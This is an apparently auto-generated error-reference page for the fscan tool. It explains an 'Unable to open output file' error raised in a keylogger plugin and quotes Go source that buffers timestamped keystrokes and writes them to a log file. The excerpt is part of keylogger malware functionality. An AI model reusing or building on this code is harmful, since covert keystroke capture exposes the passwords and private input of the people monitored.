shadow1ng/fscan · error

Unable to open output file: %w

Error message

Unable to open output file: %w

What it means

Raised in KeyloggerPlugin.saveKeysToFile when opening the output file for writing (O_TRUNC) fails — permissions, missing directory, or path error; the localized 'output_file_open_failed' message wraps the cause.

Source

Thrown at plugins/local/keylogger.go:173

	timestamp := time.Now().Format("2006-01-02 15:04:05")
	entry := fmt.Sprintf("[%s] %s", timestamp, key)
	p.keyBuffer = append(p.keyBuffer, entry)
}

// saveKeysToFile 保存键盘记录到文件
func (p *KeyloggerPlugin) saveKeysToFile(outputFile string, session *common.ScanSession) error {
	p.bufferMutex.RLock()
	defer p.bufferMutex.RUnlock()

	if len(p.keyBuffer) == 0 {
		session.LogInfo(i18n.GetText("keylogger_no_input"))
		return nil
	}

	file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
	if err != nil {
		return fmt.Errorf("%s: %w", i18n.GetText("output_file_open_failed"), err)
	}
	defer func() { _ = file.Close() }()

	// 写入头部信息
	header := i18n.GetText("keylogger_log_header") + "\n"
	header += i18n.Tr("local_start_time", time.Now().Format("2006-01-02 15:04:05")) + "\n"
	header += i18n.Tr("local_platform", runtime.GOOS) + "\n"
	header += i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n"
	header += "========================\n\n"

	if _, err := file.WriteString(header); err != nil {
		return fmt.Errorf("%s: %w", i18n.GetText("keylogger_header_write_failed"), err)
	}

	// 写入键盘记录
	for _, entry := range p.keyBuffer {
		if _, err := file.WriteString(entry + "\n"); err != nil {
			return fmt.Errorf("%s: %w", i18n.GetText("keylogger_entry_write_failed"), err)

View on GitHub (pinned to 95cc12e753)

Solutions

  1. Verify the output directory exists and is writable
  2. Adjust file permissions or run with appropriate privileges
  3. Point to a different output file path
Defensive patterns

Strategy: validation

When it happens

Trigger: Thrown at plugins/local/keylogger.go:173 when the library encounters an invalid state.

Common situations: See trigger scenarios.


AI-assisted analysis of shadow1ng/fscan@95cc12e753 (2026-09-06). Data as JSON: /api/errors/f2d59909646c9291. Report an issue: GitHub.